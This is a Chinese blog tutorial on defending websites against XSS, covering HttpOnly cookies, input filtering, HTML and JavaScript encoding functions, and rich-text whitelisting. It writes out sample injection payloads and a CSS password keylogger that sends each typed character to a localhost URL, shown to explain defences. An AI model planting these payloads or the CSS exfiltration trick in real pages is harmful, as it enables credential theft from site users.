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Web安全系列(四):XSS 的防御



简介

XSS 的防御很复杂,并不是一套防御机制就能就解决的问题,它需要具体业务具体实现。

目前来说,流行的浏览器内都内置了一些 XSS 过滤器,但是这只能防御一部分常见的 XSS,而对于网站来说,也应该一直寻求优秀的解决方案,保护网站及用户的安全,我将阐述一下网站在设计上该如何避免 XSS 的攻击。

HttpOnly

HttpOnly 最早是由微软提出,并在 IE 6 中实现的,至今已经逐渐成为一个标准,各大浏览器都支持此标准。具体含义就是,如果某个 Cookie 带有 HttpOnly 属性,那么这一条 Cookie 将被禁止读取,也就是说,JavaScript 读取不到此条 Cookie,不过在与服务端交互的时候,Http Request 包中仍然会带上这个 Cookie 信息,即我们的正常交互不受影响。

Cookie 是通过 http response header 种到浏览器的,我们来看看设置 Cookie 的语法:

Set-Cookie: <name>=<value>[; <Max-Age>=<age>][; expires=<date>][; domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]

复制代码

第一个是 name=value 的键值对,然后是一些属性,比如失效时间,作用的 domainpath ,最后还有两个标志位,可以设置为 secureHttpOnly

栗子:

// 利用 express 这个轮子设置cookie
res.cookie('myCookie', 'test', {
  httpOnly: true
})
res.cookie('myCookie2', 'test', {
  httpOnly: false
})
复制代码

然后回到浏览器查看:

image-20180926162748454

这个时候我们试着在控制台输出:

image-20180926163041071

我们发现,只有没有设置 HttpOnlymyCookie2 输出了出来,这样一来, javascript 就读取不到这个 Cookie 信息了。

HttpOnly 的设置过程十分简单,而且效果明显,不过需要注意的是,所有需要设置 Cookie 的地方,都要给关键的 Cookie 都加上 HttpOnly ,若有遗漏则会功亏一篑。

但是, HttpOnly 不是万能的,添加了 HttpOnly 不等于解决了 XSS 问题。

严格的说,HttpOnly 并非为了对抗 XSSHttpOnly 解决的是 XSS 后的 Cookie 劫持问题,但是 XSS 攻击带来的不仅仅是 Cookie 劫持问题,还有窃取用户信息,模拟身份登录,操作用户账户等一系列行为。

使用 HttpOnly 有助于缓解 XSS 攻击,但是仍然需要其他能够解决 XSS 漏洞的方案。

输入检查

记住一点:不要相信任何输入的内容。

无论是不是做了安全校验,都必须进行过滤操作,而且需要后台配合过滤,如果后端的检查校验还做得不好,那就可能被攻破。

输入检查在更多的时候被用于格式检验,例如用户名只能以字母和数字组合,手机号码只能有 11 位且全部为数字,否则即为非法。

这些格式检查类似于白名单效果,限制输入允许的字符,让一下特殊字符的攻击失效。

目前网上有很多开源的 XSS Filter ,这些 XSS Filter 目前来说还是有些效果的,能只能检验输入内容,高级一点的还会匹配 XSS 特征,例如内容是否包含了 <script>javascript 等敏感字符,但是这些 XSS Filter 只是获取到了用户的输入内容,并不了解其上下文含义,很多时候会误过滤。

例如:

用户输入昵称:<|无敌是多么鸡毛|>,对于 XSS Filter 来说,<> 就是特殊字符,需要过滤然后过滤成为 |无敌是多么鸡毛| ,直接改变了用户的昵称。

所以,我们不能完全信赖开源的 XSS Filter ,很多场景需要我们自己配置规则,进行过滤。

输出检查

不要以为在输入的时候进行过滤就万事大吉了,恶意攻击者们可能会层层绕过防御机制进行 XSS 攻击,一般来说,所有需要输出到 HTML 页面的变量,全部需要使用编码或者转义来防御。

HTMLEncode

针对 HTML 代码的编码方式是 HTMLEncode,它的作用是将字符串转换成 HTMLEntities

目前来说,为了对抗 XSS ,以下转义内容是必不可少的:

特殊字符 实体编码
& &amp ;
< &lt ;
> &gt ;
" &quot ;
' &#x27 ;
/ &#x2F ;

PS. ; 是必须的,而且要和前面的字符连接起来,我这边分开是因为,markdown 就是 HTML 语言,我连上就直接转义成前面的特殊字符了,/(ㄒoㄒ)/~~

来看看效果:

image-20180926213835914

image-20180926213904413

可以看到,这些编码在 HTML 上已经成功转成了对应的符号。

当然,上面的只是最基本而且是最必要的,HTMLEncode 还有很多很多,我这边列举了一些(请允许我用代码的形式写出来,这样就不会转义了):

const HtmlEncode = (str) => {
    // 设置 16 进制编码,方便拼接
    const hex = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'];
    // 赋值需要转换的HTML
    const preescape = str;
    let escaped = "";
    for (let i = 0; i < preescape.length; i++) {
        // 获取每个位置上的字符
        let p = preescape.charAt(i);
        // 重新编码组装
        escaped = escaped + escapeCharx(p);
    }

    return escaped;
    // HTMLEncode 主要函数
    // original 为每次循环出来的字符
    function escapeCharx(original) {
        // 默认查到这个字符编码
        let found = true;
        // charCodeAt 获取 16 进制字符编码
        const thechar = original.charCodeAt(0);
        switch (thechar) {
            case 10: return "<br/>"; break; // 新的一行
            case 32: return "&nbsp;"; break; // space
            case 34: return "&quot;"; break; // "
            case 38: return "&amp;"; break; // &
            case 39: return "&#x27;"; break; // '
            case 47: return "&#x2F;"; break; // /
            case 60: return "&lt;"; break; // <
            case 62: return "&gt;"; break; // >
            case 198: return "&AElig;"; break; // Æ
            case 193: return "&Aacute;"; break; // Á
            case 194: return "&Acirc;"; break; // Â
            case 192: return "&Agrave;"; break; // À
            case 197: return "&Aring;"; break; // Å
            case 195: return "&Atilde;"; break; // Ã
            case 196: return "&Auml;"; break; // Ä
            case 199: return "&Ccedil;"; break; // Ç
            case 208: return "&ETH;"; break; // Ð
            case 201: return "&Eacute;"; break; // É
            case 202: return "&Ecirc;"; break;
            case 200: return "&Egrave;"; break;
            case 203: return "&Euml;"; break;
            case 205: return "&Iacute;"; break;
            case 206: return "&Icirc;"; break;
            case 204: return "&Igrave;"; break;
            case 207: return "&Iuml;"; break;
            case 209: return "&Ntilde;"; break;
            case 211: return "&Oacute;"; break;
            case 212: return "&Ocirc;"; break;
            case 210: return "&Ograve;"; break;
            case 216: return "&Oslash;"; break;
            case 213: return "&Otilde;"; break;
            case 214: return "&Ouml;"; break;
            case 222: return "&THORN;"; break;
            case 218: return "&Uacute;"; break;
            case 219: return "&Ucirc;"; break;
            case 217: return "&Ugrave;"; break;
            case 220: return "&Uuml;"; break;
            case 221: return "&Yacute;"; break;
            case 225: return "&aacute;"; break;
            case 226: return "&acirc;"; break;
            case 230: return "&aelig;"; break;
            case 224: return "&agrave;"; break;
            case 229: return "&aring;"; break;
            case 227: return "&atilde;"; break;
            case 228: return "&auml;"; break;
            case 231: return "&ccedil;"; break;
            case 233: return "&eacute;"; break;
            case 234: return "&ecirc;"; break;
            case 232: return "&egrave;"; break;
            case 240: return "&eth;"; break;
            case 235: return "&euml;"; break;
            case 237: return "&iacute;"; break;
            case 238: return "&icirc;"; break;
            case 236: return "&igrave;"; break;
            case 239: return "&iuml;"; break;
            case 241: return "&ntilde;"; break;
            case 243: return "&oacute;"; break;
            case 244: return "&ocirc;"; break;
            case 242: return "&ograve;"; break;
            case 248: return "&oslash;"; break;
            case 245: return "&otilde;"; break;
            case 246: return "&ouml;"; break;
            case 223: return "&szlig;"; break;
            case 254: return "&thorn;"; break;
            case 250: return "&uacute;"; break;
            case 251: return "&ucirc;"; break;
            case 249: return "&ugrave;"; break;
            case 252: return "&uuml;"; break;
            case 253: return "&yacute;"; break;
            case 255: return "&yuml;"; break;
            case 162: return "&cent;"; break;
            case '\r': break;
            default: found = false; break;
        }
        if (!found) {
            // 如果和上面内容不匹配且字符编码大于127的话,用unicode(非常严格模式)
            if (thechar > 127) {
                let c = thechar;
                let a4 = c % 16;
                c = Math.floor(c / 16);
                let a3 = c % 16;
                c = Math.floor(c / 16);
                let a2 = c % 16;
                c = Math.floor(c / 16);
                let a1 = c % 16;
                return "&#x" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + ";";
            } else {
                return original;
            }
        }
    }
}
复制代码

emmmm……作者比较懒,剩下的注释自己补充,这应该是比较全的 HTMLEncode 编码转换了,大家可以直接拿去用(可以给个赞不~),来让我们测试一下:

<div id="id"></div>
复制代码
// 当我们输入:
document.querySelector('#id').innerHTML = '<img onerror=alert(1) src=1/>'
复制代码

页面不可避免的发生了 XSS 注入:

image-20180926224132524

// 当我们利用 HTMLEncode 之后
document.querySelector('#id').innerHTML = HtmlEncode('<img onerror=alert(1) src=1/>')
console.log(HtmlEncode('<img onerror=alert(1) src=1/>'))
复制代码

发现页面将输入的内容完全呈现了:

image-20180926224340611

JavaScriptEncode

JavaScriptEncodeHTMLEncode 的编码方式不同,它需要用 \ 对特殊字符进行转义。

在对抗 XSS 时,还要求输出的变量必须在引号内部,以免造成安全问题,可是很多开发者并没有这种习惯,这样只能使用更为严格的 JavaScriptEncode 来保证数据安全:除了数字,字符之外的所有字符,小于127的字符编码都使用十六进制 \xHH 的方式进行编码,大于用unicode(非常严格模式)。

同样是代码的方式展现出来:

//使用“\”对特殊字符进行转义,除数字字母之外,小于127使用16进制“\xHH”的方式进行编码,大于用unicode(非常严格模式)。
// 大部分代码和上面一样,我就不写注释了
const JavaScriptEncode = function (str) {
    const hex = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'];
    const preescape = str;
    let escaped = "";
    for (let i = 0; i < preescape.length; i++) {
        escaped = escaped + encodeCharx(preescape.charAt(i));
    }
    return escaped;
    // 小于127转换成十六进制
    function changeTo16Hex(charCode) {
        return "\\x" + charCode.charCodeAt(0).toString(16);
    }
    function encodeCharx(original) {
        let found = true;
        const thecharchar = original.charAt(0);
        const thechar = original.charCodeAt(0);
        switch (thecharchar) {
            case '\n': return "\\n"; break; //newline
            case '\r': return "\\r"; break; //Carriage return
            case '\'': return "\\'"; break;
            case '"': return "\\\""; break;
            case '\&': return "\\&"; break;
            case '\\': return "\\\\"; break;
            case '\t': return "\\t"; break;
            case '\b': return "\\b"; break;
            case '\f': return "\\f"; break;
            case '/': return "\\x2F"; break;
            case '<': return "\\x3C"; break;
            case '>': return "\\x3E"; break;
            default: found = false; break;
        }
        if (!found) {
            if (thechar > 47 && thechar < 58) { //数字
                return original;
            }
            if (thechar > 64 && thechar < 91) { //大写字母
                return original;
            }
            if (thechar > 96 && thechar < 123) { //小写字母
                return original;
            }
            if (thechar > 127) { //大于127用unicode
                let c = thechar;
                let a4 = c % 16;
                c = Math.floor(c / 16);
                let a3 = c % 16;
                c = Math.floor(c / 16);
                let a2 = c % 16;
                c = Math.floor(c / 16);
                let a1 = c % 16;
                return "\\u" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + "";
            } else {
                return changeTo16Hex(original);
            }
        }
    }
}
复制代码

除了 HTMLEncodeJavaScript 外,还有许多用于各种情况的编码函数,比如 XMLEncodeJSONEncode 等。

编码函数需要在适当的情况下用适当的函数,需要注意的是,编码之后数据长度发生改变,如果文件对数据长度有所限制的话,可能会影响到某些功能。我们在使用编码函数时,一定要注意这个细节,以免产生不必要的 bug

正确的防御 XSS

上面说了两种转义只是为了设计个人能更好的 XSS 防御方案,但是我们需要认清 XSS 产生的本质原因。

XSS 的本质还是一种 HTML 注入,用户的数据被当成了 HTML 代码一部分来执行,从而混淆了原本的语意,产生了新的语意。

如果网站使用了 MVC(MVVM) 结构,那么 XSS 就会发生在 View 层,也就是变量拼接到页面时产生的,所以在用户提交数据的时候进行输入检查,并不是真正在被攻击的地方做防御,而是预防攻击,下面,我将总结一些 XSS 发生的场景,再一一解决。

HTML 标签中输出

HTML 标签中直接输出变量,没有做任何处理,会导致 XSS

<a href=# ><img src=1 onerror=alert(1)></a>
复制代码

这种方式的解决方案是,所有需要输出到页面的元素全部通过 HTMLEncode

HTML 属性中输出

在和 HTML 标签中输出攻击方式类似,只不过输出的内容会自动闭合标签。

<a href="我是变量" ></a>
<!-- 我是变量: "><img src=1 onerror=alert(1)><" -->
<!-- 插入之后变为 -->
<a href=""><img src=1 onerror=alert(1)><""></a>
复制代码

这种方式的防御方法仍然是 HTMLEncode

<script> 标签中输出

假设我们的变量都在引号内部:

let a = "我是变量"
// 我是变量 = ";alert(1);//
a = "";alert(1);//"
复制代码

攻击者只需要闭合标签就能实行攻击,目前的防御方法为 JavaScriptEncode

CSS 中输出

CSS 中或者 style 标签或者 style attribute 中形成的攻击花样非常多,总体上类似于下面几个例子:

<style>@import url('http:xxxxx')</style>
<style>@import 'http:xxxxx'</style>
<style>li {list-style-image: url('xxxxxx')}</style>
<style>body {binding:url('xxxxxxxxxx')}</style>
<div style='background-image: url(xxxx)'></div>
<div style='width: expression(xxxxx)'></div>
复制代码

要解决 CSS 的攻击问题,一方面要严格控制用户将变量输入style 标签内,另一方面不要引用未知的 CSS 文件,如果一定有用户改变 CSS 变量这种需求的话,可以使用 OWASP ESAPI 中的 encodeForCSS() 函数。

一个很典型的第三方 CSS 库攻击的案例:

input[type="password"][value$="0"]{ background-image: url("http://localhost:3000/0") }
input[type="password"][value$="1"]{ background-image: url("http://localhost:3000/1") }
input[type="password"][value$="2"]{ background-image: url("http://localhost:3000/2") }
input[type="password"][value$="3"]{ background-image: url("http://localhost:3000/3") }
input[type="password"][value$="4"]{ background-image: url("http://localhost:3000/4") }
input[type="password"][value$="5"]{ background-image: url("http://localhost:3000/5") }
input[type="password"][value$="6"]{ background-image: url("http://localhost:3000/6") }
input[type="password"][value$="7"]{ background-image: url("http://localhost:3000/7") }
input[type="password"][value$="8"]{ background-image: url("http://localhost:3000/8") }
input[type="password"][value$="9"]{ background-image: url("http://localhost:3000/9") }
...
复制代码

剩下的就不写了,就是将所有键盘能输入的字符都写进去。

input[type="password"] 是css选择器,作用是选择密码输入框,[value$="0"]表示匹配输入的值是以 0 结尾的。

所以如果你在密码框中输入 0 ,就去请求 http://localhost:3000/0 接口,但是浏览器默认情况下是不会将用户输入的值存储在 value 属性中,但是有的框架会同步这些值,例如React

我们模拟同步 value 值:

<body>
  <input type="password" value="" id="pwd">
</body>
<script>
  const pwd = document.querySelector('#pwd');
  pwd.oninput = (e) => {
    pwd.attributes.value.value = e.target.value
  }
</script>
复制代码

然后我们看看效果:

Jietu20180927-150717-HD

看!你的密码都被发送到远程了,所以输 CSS 也是 XSS 攻击的手段之一,只有想不到,没有做不到~

URL 中输出

在地址张输出也比较复杂。一般来说 URLpath 或者 search 中进行攻击直接使用 URLEncode 即可。URLEncode 会将字符串转换为 %HH 的形式,类似空格就是 %20

可能的攻击方法就是:

<!-- 原始 URL -->
<a href="http://localhost:3000/?test=我是变量"></a>
<!-- 攻击 URL -->
<a href="http://localhost:3000/?test=" onclick=alert(1)""></a>
<!-- URLEncode -->
<a href="http://localhost:3000/?test=%22%20onclick%3balert%281%29%22"></a>
复制代码

但是是否用了 URLEncode 就万事大吉了呢?

不不不

如果整个 URL 被用户控制,那么前面的 http://localhost:3000 等部分被转义不就乱套了,这些部分是不能被转义的。

一个 URL 的组成如下:

[Protocal][Host][Path][Search][Hash]

栗子:

http://localhost:3000/a/b/c?search=123#666aaa

[Protocal] 对应 http://

[Host] 对应 localhost:3000

[Path] 对应 /a/b/c

[Search] 对应 ?search=123

[Hash] 对应 #666aaa

一般来说,如果变量是整个 URL ,则应该先检查变量是否以 http 开头,在此之后再对里面的变量进行 URLEncode

富文本处理

在一些网站,网站允许用户富含 HTML 标签的代码,比如文本里面要有图片、视频之类,这些文本展现出来全都是依靠 HTML 代码来实现。

那么,我们需要如何区分安全的 富文本XSS 攻击呢?

我正好在华为做过相关的富文本过滤操作,基本的思想就是:

  1. 首先进行输入检查,保证用户输入的是完整的 HTML 代码,而不是有拼接的代码
  2. 通过 htmlParser 解析出 HTML 代码的标签、属性、事件
  3. 富文本事件 肯定要被禁止,因为富文本 并不需要 事件 这种东西,另外一些危险的标签也需要禁止,例如: <iframe><script><base><form>
  4. 利用白名单机制,只允许安全的标签嵌入,例如:<a><img>div等,白名单不仅仅适用于标签,也适用于属性
  5. 过滤用户 CSS ,检查是否有危险代码

小结

理论上来说,XSS 漏洞虽然复杂,但是却是可以彻底解决掉的,在设计 XSS 解决方案时,要结合目前的业务需求,从业务风险角度定义每个 XSS 漏洞,针对不同的场景使用不同的方法,同时,很多开源的项目可以借鉴参考,完善自己的 XSS 解决方案。

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